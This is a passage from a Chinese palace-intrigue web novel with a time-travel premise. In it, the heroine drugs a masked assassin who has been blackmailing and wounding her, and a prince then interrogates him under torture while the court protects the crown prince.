想到他上次说的要和他说一声,如果下次还能碰见,她就和他说。
季迟影皱眉。
五皇子确实是三皇子麾下的,难道是五皇子和祝星序说了些什么?
“五皇子殿下和你说了些什么吗?”
祝星序本来想说,五皇子和她说了一些关于三皇子不好的地方。
但又想想这样不好,万一导致五皇子和三皇子吵架了怎么办。
这种行为也很遭人唾弃。
要是被裴榭知道,凭他的能力,捏死她也是轻而易举的吧?
“也没有,只是我自己这么认为的。”
季迟影没再说话,低头沉默。
祝星序以为她说三皇子坏话惹她生
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气了,又道:“我没有别的意思,只是希望你能多考量考量。”
季迟影缓缓点头:“我会注意的……”
祝星序清楚地明白,他们两个是注定的孽缘。
不是她三言两句就能拆散的。
她只希望季迟影能尽量不像原著中那样,被虐心虐身。
殿外匆匆传来御林军们的脚步声。
他们刚刚已经将火灭了,现在是在检查有没有别处的损失。
裴檐和裴榭的身影就这么出现在门外。
他们从另一边走过来。
裴檐率先发现三清殿的大门是开着的。
他推开门,走进,一眼便看见摆放在门槛旁边淡紫色的鞋袜。
裴檐的脸飞上一抹粉色。
他认得这颜色的主人。
观内只有她才穿着这颜色。
他抬头,又看见坐在不远处的季迟影。
她盘着腿,紫色的衣裙盖住了脚。
他的脸更红了。
裴榭在他身后,迟迟不见他进去,有些疑惑。
“怎么了?”
他一进来,便看到岔开腿坐在那里的祝星序。
很奇怪,若是在往常,裴榭若看到有人以这样的坐姿面对他,他会心生厌恶。
但他看见祝星序这样,只有一种果然如此的感觉。
并且,还不讨厌。
裴檐也才看到祝星序。
“你们怎么坐在这?”
季迟影早就看见裴檐,心脏一直在急速地跳动。
“我鞋袜湿了……便先坐在这里等它晾干。”
裴檐点头,让御林军去准备新的鞋袜。
见他这么体贴,季迟影的脸上也染上了红晕。
裴榭四处打量。
几乎是一瞬间,他便看见元始天尊手中的那枚玉牌不见了。
他又看向祝星序。
他沉声道:“祝星序,你来一下。”
祝星序莫名其妙跟着他走到外面,留下感到有些奇怪的季迟影和裴檐。
走至角落,裴榭皱着眉看她。
“把朱雀玉牌拿出来。”
“什么?”
祝星序呆了呆,但很快反应过来,裴榭以为她把朱雀玉牌拿走了。
“不是我拿的。”
裴榭似乎有些愠怒。
“不是你,还有谁会要?”
他顿了顿,又道:“你拿不住的,玉牌从镇国观消失的那一刻,消息便会传至江湖。所有人都会想要得到它,你可能会死的。”
说着说着,裴榭有些激动起来。
祝星序也有些生气。
“真的不是我拿的,是那个刺客!”
她柳眉倒竖,瞪着裴榭。
裴榭的情绪慢慢稳定下来。
“真的?”
祝星序猛点头,眼神有些幽怨:“是真的!你怎么不相信我呢!”
裴榭见她气呼呼的样子,心中竟生出一丝慌乱。
他叹了口气:“不是我不信你,只是……”
怕你有危险。
裴榭软和下来,祝星序也没那么生气了。
她想和他说面罩人的事。
但又想到他说的那句毛骨悚然的话。
虽然她是现代人,知道她回现代后,这里的一切都是过眼云烟,但若真有人因她而死,她会很难受的。
只能再想其他办法。
“对了那个……季迟影好像和三皇子是朋友?”
祝星序本来想说有暧昧关系,但是这样对季迟影的名声不太好,她便换了个说辞。
裴榭心不在焉道:“可能吧。”
他的心思只有谋划。
虽然在不知不觉中,他单一的想法里,多出了一些别的东西。
祝星序搓了一下衣角。
“那个……我和季迟影说,三皇子不是很好……”
19. 第 19 章
裴榭对裴檐的感情其实一般。
只是,他迫切地想找一件有难度的事情做。
仿佛只有这样,才能证明他存在的价值。
他不喜欢太子那跋扈,目中无人的样子。
裴榭自己并不愿意成为众矢之的。
两相权衡之下,裴榭选择了裴檐。
裴檐为人温和,不拘小节,实是一位大度之人。
听到祝星序这么说裴檐,他并不在意。
裴榭在意的,是另一件事。
他平静地看着祝星序。
“你对我三哥,是不是有什么意见?”
祝星序想说是的,她有意见。
“没有啊。”
裴榭:“那你为何如此在意我三哥和其他女子的关系?”
祝星序睁大眼睛。
她有吗?
裴榭的瞳仁里,明明白白写着一个字。
有。
裴榭静静地等待着祝星序的回复。
“我感觉,三皇子优柔寡断,不算是个良人。”
祝星序只好再次说三皇子的坏话。
她也没说错啊,原著里面,就是这样的。
总是被季清清或者其他人耍得团团转,不听女主的话,执意要伤害她。
裴榭没有否认。
这也是裴檐最大的缺点。
若这缺点消失了,太子再无崛起之日。
但现在,得需他在一旁协助。
“你倒是挺了解他的。”
祝星序还以为裴榭在夸她,摆摆手:“没有啦,只是眼光比较毒辣而已。”
裴榭并没有笑,也没说话,只又将她带回三清殿。
三皇子正在和季迟影说着些什么。
季迟影脸色绯红,眼睛放光。
三皇子则是一脸温和地笑,眼睛里的情意都快溢出来了。
祝星序皱着眉。
三皇子哪里好了……
她觉得裴榭比较好。
起码在原著里,他并没有什么花边新闻。
直到他死,他的身边都没出现过任何一名女子。
“阿影,走了。”
祝星序将季迟影的鞋袜捡起来拿给她。
又合上三清殿的门。
“男子勿看。”
裴檐低低笑了。
他对裴榭道:“祝小姐还真是个有趣之人呢。”
裴榭神色淡然,只盯着门后那道人影。
季迟影穿好鞋子。
祝星序拉着她出了三清殿。
裴檐不想这么快和季迟影分开,问:“你们这是要去哪?”
祝星序拉着季迟影的手,头也不回道:“跟上其他人。”
裴檐快走几步跟上来,裴榭也在后面慢悠悠跟着。
他的视线里,始终只有那抹水蓝色的身影。
“我送你们吧。”
季迟影轻轻拉了拉祝星序的手。
祝星序看了她一眼,考虑到会再次遇到面罩人的可能性。
“也行。”
反正她和裴榭都在,谅三皇子也不敢做什么。
祝星序走的速度实在是快,没一会,便见到了其他人。
许氏和黎迟影的娘亲宁氏都在焦急地四处看着。
见到她们两个,才松了一口气。
许氏和宁氏朝裴檐裴榭行礼。
“多谢两位殿下送小女回来。”
幸好不是孤男寡女。
不然还真说不清。
裴檐笑着:“无碍,两位小姐安全便好。我和五弟还有要务在身,先行离开。”
许氏和宁氏忙不迭恭送。
许氏赶紧拉过祝星序。
“你跑到哪里去了?”
祝星序睁眼说瞎话:“火势太大,我低着头跑,一抬头你们就不见了。”
许氏一直跑在最前面,祝星序的情况她确实也不知道是不是真是这样。
见她没事,许氏也暗暗松了口气。
许氏想到刚刚见到的三皇子和五皇子:“三皇子送你回来的?”
祝星序知道她又要唠叨了。
不过她的关注点也是厉害。
明明五皇子和季迟影都在,搞得好像是三皇子单独送她回来似的。
“不是,凑巧遇上的。”
许氏这次可不信了。
她受到过一次欺骗,不会再被骗第二次。
“不管,反正下次你约三皇子出来,把你妹妹带上。”
祝星序想拒绝,但看许氏一脸你胆敢拒绝就把你说服的样子,祝星序只好道:“知道了,下次再说吧。”
许氏还想说什么,祝星序一溜烟跑去找季迟影了。
有时候女主也可以用一用。
宁氏似乎非常生气,一直在和季迟影说着些什么。
季迟影则眼眶红红的,低着头,一句话也不敢说。
祝星序甫一靠近,便听到宁氏如此道:“你不是之前那个在乡野撒欢的姑娘了,你现在是大家闺秀,能不能为家里考虑一下?”
季迟影的眼泪将掉未掉。
古早小说,总是会给女主一些比较坎坷的身世。
祝星序上前给宁氏行礼:“夫人,我找阿影有事。”
也不管宁氏的表情,祝星序拉着季迟影走到旁边。
离开了人群,季迟影的眼泪终于掉了下来。
祝星序拿起她手中绞着的帕子,给她擦眼泪。
季迟影越哭越狠。
“又不是我想这样的……”
祝星序轻轻拍了拍她的肩膀。
“我知道,你是被人陷害了。”
季迟影继续哭着:“她们都不相信我……”
祝星序也继续安慰:“因为她们眼神不好,分不清好赖,脑子有问题。”
季迟影听了她的话,破涕而笑。
祝星序见她笑了,心情也很愉快。
“以后若不想在家待了,可以来找我。我家里管得不严。”
季迟影点头。
过了不久,有一名坤道前来,福了福身。
“各位贵人,因为偏殿被烧毁,暂时住不了,我带大家去各自的房间。”
没有人有意见。
她们都是养尊处优的人,为了安全,能勉强睡大通铺。
但这并不代表,她们愿意一直睡那里。
走在路上,祝星序听见几个夫人在那里说话。
“这次的刺客怎么还没抓到?”
“听说挺厉害的……不然也不能在众目睽睽之下杀人……”
稍微大一些的宫殿都被烧了,她们只能一人住一间比较小的厢房。
小厢房的环境没那么好,祝星序进到自己的房间时,扑面而来一股霉味儿。
季迟影想和她住一间。
祝星序想到面罩人说的话,害怕她遇到危险,断然拒绝了。
“没关系的,我们就住隔壁,有什么事你喊我就行了。”
她拒绝了,季迟影也不好再勉强她。
只要不跟宁氏和季清清住一起,她能接受。
进了厢房,她开始收拾整理。
也不知道要在这里待多少天,毕竟是睡觉的地方,还是弄一弄比较舒服。
一边收拾着,她一边想着面罩人的事。
她已经可以断定,这把火就是面罩人烧的。
不然这个火势也不会那么奇怪,把大通铺房都烧没了,小厢房却还在。
祝星序奇怪的是,没有她们,他一个人也能来小厢房养伤啊。
难道是因为有她在,可以为他打掩护?
真希望三皇子和裴榭能赶紧抓到他。
不然弄得她提心吊胆的。
这么一折腾,天已经完全黑了。
祝星序害怕极了。
趁面罩人还没
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来,她还是出去溜达溜达。
走在观中,她偶尔能碰见御林军,这便是对她最大的安慰。
现在,外面比她的小厢房安全多了。
围着她们这群小厢房的御林军肉眼可见地比之前的多。
不知道是不是又抽调了更多的人。
祝星序在三清殿前的院子里走来走去。
她的心里莫名有些烦躁。
坐不住。
待看到裴榭领着人巡视到这边时,她的焦躁才好一些。
裴榭似乎没看见她,目不斜视地从她面前走过。
祝星序赶紧上前拉着他。
“殿下!”
裴榭看了她一眼。
“是祝小姐,有什么事吗?”
祝星序看了看他身后的御林军,小声道:“你可以过来一下吗?”
裴榭回头朝最前面的人说了些什么,他们四处散开了。
“现在可以说了吧。”
他面无表情,好像祝星序只是个陌生人一样。
祝星序心里有些堵。
“我……我要怎么样才能找到你?”
她想在面罩人来的时候,让裴榭迅速带着人过来。
就算他要把她杀了,祝星序也希望是裴榭来帮她收尸。
裴榭冷淡道:“去我府上让下人通报。”
祝星序愣了愣,随后赶紧道:“不是!我是说……要怎么做,才能让你快速来我身边。”
裴榭眼里平静的湖海忽然翻起一圈圈微小的涟漪。
“理由。”
祝星序垂下眸子,眼神闪烁了一下。
“我怕刺客再来找我……”
裴榭注视了她良久。
久到祝星序都有些不自在了,怀疑自己是不是说了什么触怒他的话。
他取出一只骨哨,递给祝星序。
祝星序赶紧接过。
“需要时,吹响即可。”
祝星序郑重点头。
裴榭忽然又有些心软。
“还有其他事吗?”
祝星序摇头:“没了……”
在外再久,也得回去。
不过,有了这只骨哨,她安心了许多。
回房之前,她将裴榭给她的迷药和幻药埋在附近的土里了。
要是给面罩人发现她身上还有药,可能真会夺了她的小命。
祝星序慢吞吞地回到小厢房。
一进门,便有一把剑刷地砍过来,充当了门栓。
祝星序吓得差点叫出来。
面罩人此刻正坐在她的床上,好整以暇地看着她。
“不错,还算守约,没有把我的事告诉给别人。”
祝星序沉默地走到桌边坐下。
“怎么?不开心?”
祝星序没好气道:“谁被威胁了会开心?”
面罩人好像听到什么有趣的事情,嘿嘿嘿地笑了起来。
忽然,他探手往祝星序的衣襟里摸。
祝星序立刻往后弹跳:“你干什么?”
面罩人笑了笑:“别误会,我只想看看,你身上是不是还有其他药。”
祝星序的心脏跳得很快。
幸好她在来之前已经把药先埋好了。
他用眼神往祝星序的身上扫视了一遍,发现没问题之后,扔了一张纸给祝星序。
“上面是我要的药材,你必须给我弄到。”
祝星序粗略看了一眼,便甩在桌上。
“镇国观现在封了,谁给你拿这些?”
面罩人也不生气:“你不是和那五皇子熟得很?让他给你呗。”
祝星序默默翻了个白眼。
“他又不是傻子。我无病无痛的,要这些药干什么?”
说完,祝星序就后悔了。
面罩人抽出匕首,下了床,缓缓来到她面前阴冷道:“我不介意在你身上留下和我一样的伤。”
20. 第 20 章
祝星序捂着腿上的伤口,一瘸一拐地往外走。
X的!这疯子,傻X!简直是有神经病。
她不就说了那么一句话吗,有必要把她弄伤吗?!
而且这人好像还是个伤口专业户,弄的那伤,简直跟真的摔狠了一模一样。
太丢人了,怎么会在自己的房间里摔成这样啊?
为了使这个情况更加令人信服,面罩人还不知道从哪找来一把小刀,横放在地上,伪造成她是不小心摔在刀上才导致的伤势。
此时她的小厢房里,满地都是她的血迹。
祝星序走了半天还没碰到一个御林军。
她只走了两步便有些支撑不住了。
祝星序想用骨哨,但这样面罩人肯定听得见。
等等把她的骨哨也踩碎了就不好了。
得走得更远才行。
祝星序咬咬牙,继续往外走着。
鲜血从她小腿上的伤口汩汩流出,染红了她水蓝色的裙子,一滴一滴地落在镇国观的石板地上。
她疼得头冒虚汗,头脑发晕。
又走了几步,她终是坚持不住,一屁股坐在地上。
看着好像离小厢房远了许久。
祝星序颤颤巍巍地拿起骨哨,使出浑身力气一吹。
却只发出了轻微的声音。
祝星序困惑地看了看骨哨,又吹了一次,还是只有一丝轻微的声音。
坏了?
不会吧……
腿疼得厉害,祝星序伸手捂住,希望伤口别再那么疼了。
同时,她拼命地吹骨哨。
吹得腮帮子都疼了。
正当祝星序以为只能等士兵巡逻到这边时,很快,她就听到了脚步声。
御林军们提着灯,快速朝这边赶来。
为首的正是裴榭。
他拼命跑过来,面色有些着急。
祝星序坐在地上,看着他,眼泪不争气地流了下来。
裴榭看到她只有一个人,舒了口气。
尔后,他看到祝星序的水蓝色裙摆上有着一大片一大片的深色痕迹。
裴榭的瞳孔骤然一缩。
“叫大夫来。”他命令着御林军。
御林军当即便有人领命而去。
裴榭快步赶到祝星序的身边。
“你怎么样?”
她身上曾经熟悉的水果味甜香不复存在,只有铁锈般的血腥味。
因着流了不少血,祝星序的意识都有些不太清楚。
“裴榭……好痛。”
她眼泪汪汪地看着他。
裴榭的心瞬间像被一只手攥住,喘不上气。
他不再管其他,将她抱起来,迅速回到小厢房。
面罩人已经不在了。
一进门,裴榭的眉头就紧皱了一下。
山下刚好也有大夫值夜间的诊,被御林军连拖带背地送上来。
进入镇国观后,御林军照旧对他进行搜身。
确保他没有携带任何危险物品时,才让两个人跟着他一起进来。
大夫进了小厢房后,给祝星序把脉,撩起了她的裤腿看伤口。
伤口已经和亵裤黏连,撩起时,痛得祝星序直叫。
“好痛啊呜呜……”
她眼泪都快出来了。
自从来到这个世界,她还没有受到如此严重的伤。
她现在宁愿回李府当丫鬟。
起码只是跪一跪,膝盖肿点,过两日便能消了。
裴榭在一旁盯着,问:“她怎么样?”
大夫收回手:“只是普通的摔伤,不过应该是磕到了什么尖锐的东西,所以才会血流如注。”
裴榭在房内四处搜索,在地上捡到一把小刀。
上面有着镇国观专属的熏香味,和上面的血腥气交缠在一起。
他的眸色暗了暗。
大夫已经写好了药方,递给裴榭身后的御林军。
“去抓药。”
接过药方的人应了一声,准备下去。
祝星序想到那人的要求,开口道:“可否抓药抓多些?”
裴榭望向她。
她有些紧张,但还是道:“药多些,就不用再下山抓了。”
裴榭看了她一会,才对拿着药方的御林军道:“听她的。”
那人和大夫一起走了。
房间内只剩下裴榭和祝星序。
裴榭坐在离床不远处的凳子上,静静地看着她。
祝星序有些不敢和他对视,只能假装疲劳,闭上眼睛。
即使闭上了眼睛,她还是能感觉到裴榭的视线。
她知道裴榭是很敏锐的人。
也许他从刚刚就知道发生了什么。
祝星序知道,他在等她说。
说出事情的起因结果。
但她不能……
她想要朱雀玉牌。
而裴榭不让她拥有。
利益冲突,祝星序只能瞒着他。
不过,如果真的遇到危险,她还是会向他求助的。
毕竟,祝星序也不知道,如果在这个世界死了,是会回到现代,还是真的会死。
她不敢赌。
裴榭盯着祝星序不停颤抖的眼睫毛,心中轻轻叹了一口气。
过了半个时辰,御林军在观内的厨房熬好了药,端着药碗过来。
大夫说了,这伤需要内服加外敷,这才好得快。
裴榭接过,将药碗放置在床头。
“你能自己喝吗?”
祝星序点头。
裴榭拖着她的背起身。
他身体冰冷的温度,又让祝星序抖了一下。
裴榭立刻将手撤走。
祝星序端起药碗,尝了一口。
苦得她当场作呕。
裴榭端来一杯茶水给她。
祝星序接过,一饮而尽。
“再帮我倒一杯……”
裴榭直接拿水壶过来。
祝星序感激道:“谢谢。”
裴榭就这么看着她喝药。
祝星序捏着鼻子,眼一闭,一口一口咽着。
喝完后,她想起正事。
“可以把药和煎锅放在这里吗?”
她知道这么说的后果一定会引起裴榭更为巨大的怀疑。
但她还是说了。
试试吧,万一呢。
果然,裴榭看她的目光更加幽深了起来。
祝星序好想向他坦白。
但她不确定面罩人会不会此时就在房顶上偷听。
两人对视。
祝星序的眼神不由得露出哀求。
裴榭收回目光。
“知道了。”
他走出门,让御林军把东西都拿过来。
裴榭盯着他们把东西都放在小厢房里后,转身欲离去。
祝星序叫住他:“等等。”
他停下了,却没转身。
“可以不要和我母亲说吗?就说我染了风寒……会传染的。”
裴榭离开了,那一声轻轻的应允,祝星序差点没听到。
*
裴榭沉着脸从小厢房出来。
御林军看见了,也不敢吱声。
他慢慢走着,来到三清殿旁边。
忽然,旁边树林下的一块土地吸引了他的注意。
裴榭走过去观察。
这块土地似是被人翻过。
下面应该藏着东西。
他没让人帮忙,徒手挖
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起来。
那东西很浅,几抔土出去,便能看见白润的瓷瓶。
裴榭挖土的手顿了顿。
他将东西拿起来。
是他先前给祝星序的迷药和幻药。
裴榭深呼吸了几下,又埋回去。
本是普通的挖土动作,猛然一看,竟显出几分落寞。
*
他离开之后,面罩人很快便来了。
照旧将剑卡在门锁上,防止别人进来。
他扫视着所存的药材,一边看,一边皱眉。
“和我所要的药材有一部分对不上。”
祝星序想骂人,但她现在很累。
“我又不是大夫,还能决定用哪个药?”
面罩人撇撇嘴。
祝星序不像再理他,翻了个身,背对着他睡觉。
经历过刚刚的疼痛,她已经不怕了。
要杀就赶紧杀,别让她这么痛苦行吗。
可惜面罩人并没有要杀她的意思,只窸窸窣窣地在药材里翻找,给自己疗伤。
之后的几天,便是祝星序白天在床上躺着,晚上看面罩人疗伤。
他应该是经常受伤,手法相当娴熟。
她腿伤了,不能去如厕,都是让锦雪帮忙端夜壶到门口,她拄着拐过去。
到了晚上,祝星序会憋个大的放在屋里。
于是,她成功看到面罩人的眉头扭得很紧。
许氏和季迟影有时候也会来她门口陪她说说话,让她没那么无聊。
躺在床上,也让祝星序想到了一个好办法。
过了几日,祝星序的伤渐渐好转。
她已经不用拐杖了。
白日,她便在院子里走动,锻炼锻炼,争取好得更快。
她找到上次埋迷药的地方,取出瓷瓶。
这一瓶肯定不能揣在身上。
她想了想,将药粉藏在指甲里。
祝星序记得之前看的宫斗剧就是这么干的。
怕中途洒出来,她在左手的指甲里弄了许多。
夜晚,祝星序又装累躺着。
面罩人如期而至。
她屏息听着他的动静。
在她这几日的观察下,祝星序发现,面罩人的伤也快好了。
他快好了,意味着他或许会逃出去。
祝星序有些怀疑,他是否真的会把玉牌给自己。
她咳嗽了几声。
面罩人的动作顿了顿,又继续。
祝星序假装刚睡醒的样子,迷迷糊糊地起身下床,走到桌前。
她先是给自己倒了一杯水,咕嘟咕嘟地喝了下去。
祝星序故意发出很响的声音,还在喝完后,意犹未尽地啊了一声。
面罩人看过来。
祝星序知道他上钩了,打了个哈欠,又继续倒水。
“喂,给我倒一杯。”
祝星序迷瞪地看他:“什么?”
面罩人看她要睡着的样子,语气重了些:“我说,给我也倒一杯水。”
祝星序晃晃脑袋,拿起另一个杯子。
“我要你喝过的那杯。”
还挺谨慎。
但你猜错了。
祝星序顺从地拿起自己的杯子倒水,不动声色地往里面倒了指甲缝里的迷药粉。
药粉是无色无味的,落入水中很快便消散了。
不得不说,裴榭的药,质量很好。
她一边打着假哈欠一边用另一只手将杯子递给他,有药粉的那只手揉了揉眼睛。
面罩人不疑有他,将水一口气喝完。
一。
二。
三。
祝星序默数着。
在数到五的时候,面罩人一头栽在地上。
21. 第 21 章
以防他是假晕,祝星序还走过去叫了叫他。
“喂,你怎么了?”
面罩人没反应。
祝星序又踢了踢他。
还是没反应。
想了想,她将指甲内残余的药粉全部抖进了他的鼻孔里。
面罩人的呼吸更沉了。
祝星序满意之后,开始搜他的身。
摸了半天,只摸出一把匕首,和几张信。
上面写着面罩人和上家来往的话语。
他的上家估计也是一位雅士。
写出来的字苍劲有力,是可以当字帖的程度。
这也太不专业了吧,正常人收到这些信看完之后不是就会烧掉吗?他怎么还放在身上?
除非这人的身份尊贵,面罩人想用这个来威胁他?
难道是皇上?
皇上要杀太子妃?
这个念头刚一出来,祝星序就笑了。
有点太匪夷所思了。
不过,就算不是皇上,也应该是其他贵族。
裴榭或许需要。
祝星序将这些信揣进兜里,又继续摸着。
除了她找到的这两样东西之外,再也没其他的了。
祝星序气愤地把小刀扔在地上。
她就知道这人没那么好心!
气不过,她吹响了骨哨。
裴榭这次也依然很快赶来。
祝星序坐在凳子上托着腮看他。
裴榭走进小厢房,看到地上躺着的面罩人,眼神复杂。
御林军鱼贯而入,准备将人带走。
“等一下!”
祝星序起身,拿起之前她掼在地上的小刀,扎进了面罩人的小腿。
许是他摄入的迷药真的太多了,就这样他也没醒。
裴榭伸手探了探他的鼻息,又抽回手。
“这个你要吗?”
祝星序拿出那几张信。
“我从他身上搜到的。”
裴榭接过,粗略看了一眼,没什么表情,仿佛早已预料到信中的内容。
“谢谢。”他将信收起来。
刺客抓到了,镇国观也解封了。
面罩人被带往山下的刑狱内。
刑狱和刑部大牢不同,它关押的人皆是重量级的犯人。
里面的审讯手段很多,刑具几乎占据了一整面墙。
每间牢笼都正对着寒光凛凛的刑具,上面还有已凝固的血迹,这里的衙役每天下值前只会匆匆擦一遍,不管上面是否还留有东西。
意在恐吓。
很多人光是看着,就吓得屁滚尿流。
这一次,裴榭自荐来审。
面罩人被绑在屋内中央一根粗壮的木棍上。
他还昏迷着。
裴榭知道,面罩人是被他的迷药给药倒了。
知晓祝星序并不是真的把东西给扔了,他周遭冷冽的气息也淡去了许多。
衙役打了一盆凉水,往面罩人的头上倒。
面罩人这才悠悠转醒。
裴榭伸手将他的面罩扯下。
是一位极普通的中年男人。
男人醒来,发现自己身处刑狱,又气又怕。
“又是那个小女表子害我!”
裴榭立刻用小刀在他脸上扇了一下。
小刀锋利,即使只用刀背,也划伤了他的脸。
裴榭冷冷地看着他。
男人知道自己被抓来此地,已再无生还可能,开始求饶。
“殿下,你放过我吧。我把所有的秘密都告诉你!”
裴榭冷笑一声。
“你要告诉我什么?你的主人是太子?还是告诉我,你刺杀太子妃就是为了嫁祸给我们?”
男人一惊,没想到这其中的事竟然都被他知道了。
裴榭走到旁边的凳子上坐下,衣摆沾了些许污秽也毫不在意。
“说吧,你的罪状。”
既然求饶的筹码已经没有了,男人选择不吭声。
若是认了,是真的会死的!
裴榭见他不说话,也不恼,吩咐刀笔吏拿笔给他。
“你写,还是不写?”
男人内心慌张,但表面还是装作若无其事的样子。
“我根本不识字,你让我写什么?”
他想尽力拖延。
能晚死一点是一点。
裴榭沉默,拿出那一沓信纸。
男人的眼睛死死地盯着。
“哈哈……我用来威胁太子的东西,竟成了我的催命符……早知道,我便听他的,将这东西烧了!”
裴榭听着他的懊悔之词,面无表情。
“说吧。”
男人扭过头去,不看他。
裴榭往旁边扫了一眼。
衙役会意,将早已放在炭盆里烧得滚烫的铁签递给他。
裴榭拿着,撩开他的裤腿。
上面还有祝星序给他开的一道伤口。
她扎得不深,此时已经有些愈合了。
裴榭将铁签直接捅入那伤口中。
男人登时发出杀猪般的叫声。
空气里弥漫着烧焦的肉香味。
裴榭皱眉。
他还是觉得柑橘的香气更为合他的意。
葡萄也行。
他轻声道:“说吧。”
语气仿佛是在哄小孩。
男人咬牙切齿地从嘴中吐出两个字。
“不说。”
裴榭表情极淡,只手稍稍用力,那铁签便从小腿的另一边出来了。
男人嚎叫得更加大声。
裴榭将铁签抽了出来,又接过一旁衙役递给他的盐碗。
男人还没从上一轮的刑法中缓过神来,看见他手中那一粒粒的白色颗粒,害怕道:“你要干什么?”
裴榭抬眼看他。
“不说,我便将他倒于你的伤口之上。”
男人开始剧烈喘息。
光是想象那种痛,就几乎要了他的命。
“我……我说。”
*
金銮殿门前。
裴檐手握太子的罪证,急匆匆地想进入。
门口候着的大太监张新连忙拦着。
“三皇子殿下,陛下正在和太子说话。”
裴檐的眉头深深锁起,和慢悠悠赶在身后的裴榭对视了一眼。
裴檐问:“太子何时进入的?”
张新答道:“约莫一个时辰了。”
一个时辰了还没出来?
裴榭倒并不意外。
太子是皇帝最喜爱的儿子。
若非一些触动国本的大错,皇帝只会对他小惩小罚。
就连把李栋拉下台,他也是煞费了苦心,又利用民众,才让他受到了国法的制裁。
在等待的过程中,裴檐不停地来回踱步,还时不时发出叹气声。
裴榭站在原地,神情淡然。
过了一会,太子才从里面出来。
他看见裴檐和裴榭,嘲讽似的笑了笑,轻哼一声,离去了。
裴檐看着他的样子,有些恼怒。
张新进去通报后,让裴檐和裴榭进去。
一见到皇帝,裴檐便把那几张纸和那个男人写的罪状及画押递交给皇帝,和裴榭一起跪在地上。
“父皇!您看,太子殿下企图对太子妃娘娘不利,还想陷害于我们。”
皇帝不急不缓地喝着手中的茶,半分眼神也没给裴檐和那一堆纸。
“张新。”
张新立刻进来:“奴才在。”
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皇帝饮了一口茶:“这次的杭白菊不错,有赏。”
张新立刻喜笑颜开:“那那些人可就高兴坏啦,奴才代替他们谢过陛下。”
皇帝也笑了笑,挥手让他下去。
裴檐忽然感到一丝不安。
皇帝这才注意到那些罪状。
他随手翻了翻,漫不经心道:“太子都和我说了,是有人陷害他。”
裴檐大惊:“父皇,这……”
皇帝犀利的眼神扫了过来。
裴檐不敢再说,只和裴榭一同告退。
走在皇宫中,两人之间的氛围很是低迷。
裴榭开口:“看来父皇是铁了心要保他。”
裴檐摇头叹气:“我原以为,父皇愿意将李栋降罪,便是改变心意了……”
裴榭不再说话。
原本李栋也拉不下来的。
两人在宫门口分开。
裴榭坐上马车,漫无目的地在城中转悠。
就连他自己也不清楚,为什么不立刻回府。
他将车内的车帘都拉开,自己则隐在阴影处。
街边,一道蓝色的身影吸引了他的注意。
是祝星序。
她和季迟影约出来玩。
祝星序挽着季迟影,笑得很开心。
那笑容是那么明媚,裴榭眼也不眨地看着。
若是……她也能这么对他笑,那便好了。
裴榭对自己的这个想法暗暗吃惊。
……不应该是这样的。
他默默地看了半晌,才低声对车夫道:“回府。”
车轮开始转动。
原本在看新鲜玩意的祝星序注意到了裴榭的马车。
祝星序有些高兴,对季迟影道:“是五皇子,我去和他打个招呼。”
季迟影也知道在镇国观里时,五皇子帮了祝星序很多,便松开手,站在路边等她。
马车走得并不快,祝星序三步并作两步坐在车把的另一侧。
“裴榭!”
裴榭原本坐在车内闭目养神,乍一听到祝星序的声音,有些愕然。
祝星序没发现他的异样,钻进车内。
霎时,一股浓烈的葡萄香气在车内蔓延开来。
祝星序昨晚回到祝府,好好地沐浴了一番,自然也少不了她的葡萄。
裴榭从喉头咳了一声,往旁边挪了挪。
祝星序坐在他对面。
“你要去哪里玩?”
她认为,已经和裴榭一同经历李府的事,又一起经历了镇国观,两人已经是朋友了。
既然是朋友,那她便随心一些。
裴榭道:“我回府。”
祝星序点点头:“那你刚刚去哪里玩了?”
说着话时,祝星序浅棕色的瞳仁在车外阳光的反射下,显出星点般的亮光,直直地晃进了裴榭的心里。
裴榭呼吸一滞,强迫自己甩开奇怪的念头。
“我从宫里出来。”
祝星序又一点头,忽然发觉车夫并没有将车停下,而是一直在行走。
“哎呀,我就是过来跟你打个招呼,我先走了。”
裴榭下意识想留她继续坐会,但还是忍住了,只轻轻“嗯”了一声。
车夫将马车停下。
祝星序下车后,还冲他挥了挥手。
“下次见!”
地板上,一个亮晃晃的东西吸引了裴榭的注意。
他拾起,是祝星序掉落的烟蓝色棠花耳环。
她刚走不久,若他现在下车去追,两步便能追上。
鬼使神差地,裴榭将那只耳环紧紧地攥在手心。
耳针戳进了他的手掌,有些疼。
但他的心中却莫名其妙升起了细微的快感。
22. 第 22 章
祝星序刚走到季迟影面前,恍然想起,她忘记和裴榭说朱雀玉牌的事了!
现在玉牌不翼而飞,靠她自己是不可能找出来的。
必须得和裴榭说。
下次直接去他府上找他好了。
季迟影看见她,顺其自然地把手揣进祝星序的胳膊弯里。
她一眼便看到祝星序的一只耳环不见了。
“你这只耳环是不是掉在五皇子的马车上了?”
祝星序抬手一摸,右耳果然空空如也。
她回头,裴榭的马车已经变成一个小圆点,很快便不见了。
祝星序满不在乎道:“下次问问他。”
季迟影好奇地看着她,问:“你和五皇子殿下很熟吗?”
祝星序想了想,该怎么说呢?
确实挺熟的,都是共患难的战友关系了。
但是她和裴榭的那些事,怎么看都是需要保密的。
“还行吧,见过几次。”
季迟影的眼里是浓浓的怀疑。
祝星序见她还要问,立刻截住话头。
“你和三皇子殿下怎么样了?”
季迟影果然被她带偏,脸上飞上一抹嫣红。
“就……就那样。”
看她这副娇羞的样子,祝星序的心沉了沉。
命中注定的爱情,一旦相遇并相处,就会狠.狠碰撞出火花。
祝星序试探地问:“那你觉得五皇子如何?”
季迟影看回她,面带笑容。
“我觉得挺好的呀,很适合你。”
祝星序陡然一惊。
“别瞎说,我和他是不可能的。”
除开祝星序不想嫁人,裴榭可是铁了心要赴死。
那她不是守寡?
季迟影有些诧异。
“这是为何?”
祝星序不知道怎么解释,只好说:“反正就是这样。”
季迟影迷茫地点头,两人又开始吃吃逛逛。
几日过后,祝星序便去了五皇子府。
大睿朝的皇子,只要过了冠礼,便可以出府单住。
当下人禀报时,裴榭难得地愣了一下。
“请她进来吧。”
祝星序进去时,裴榭已经坐在会客厅的主位上等着了。
她也没多礼,直接坐在裴榭的对面。
会客厅很简朴,几乎没有多余的装饰。
就像裴榭一样,不会做多余的事情。
这是祝星序的想法。
下人适时端上一杯茶。
祝星序喝了一口。
“你的茶不错。”
裴榭的眼睛里染上了几丝笑意。
“若你喜欢,可以带一些走。”
看见她,裴榭想起那只耳环。
他的目光停留在祝星序的耳垂上。
祝星序有些瘦,但耳垂十分圆润小巧,看起来可爱极了。
裴榭压抑住心中的悸动,轻啜了一口茶。
祝星序欢喜道:“好。”
不要白不要。
